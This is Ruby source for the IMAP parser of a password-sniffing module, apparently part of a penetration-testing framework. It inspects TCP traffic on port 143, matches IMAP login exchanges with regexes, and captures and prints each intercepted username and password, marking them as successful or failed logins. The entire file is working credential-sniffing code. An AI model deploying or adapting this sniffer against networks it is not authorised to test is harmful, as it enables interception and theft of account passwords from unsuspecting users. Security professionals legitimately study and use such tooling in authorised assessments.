# Psnuffle password sniffer add-on class for imap # part of psnuffle sniffer auxiliary module # # When db is available reports go into db # Also incorrect credentials are sniffed but marked # as unsuccessful logins... (Typos are common :-) ) # class SnifferIMAP < BaseProtocolParser def register_sigs self.sigs = { :banner => /^(\*\s+OK[^\n\r]*)/i, :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i } end def parse(pkt) # We want to return immediatly if we do not have a packet which is handled by us return unless pkt.is_tcp? return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) s[:sname] ||= "imap4" self.sigs.each_key do |k| # There is only one pattern per run to test matched = nil matches = nil if (pkt.payload =~ self.sigs[k]) matched = k matches = [$1,$2] end case matched when :banner s[:info] = matches report_service(s) when :login_pass report_auth_info(s) print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login_fail report_auth_info(s.merge({:active => false})) print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login_bad report_auth_info(s.merge({:active => false})) print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login s[:user]=$1 s[:pass]=$2 when nil # No matches, no saved state else sessions[s[:session]].merge!({k => matches}) end # end case matched end # end of each_key end # end of parse end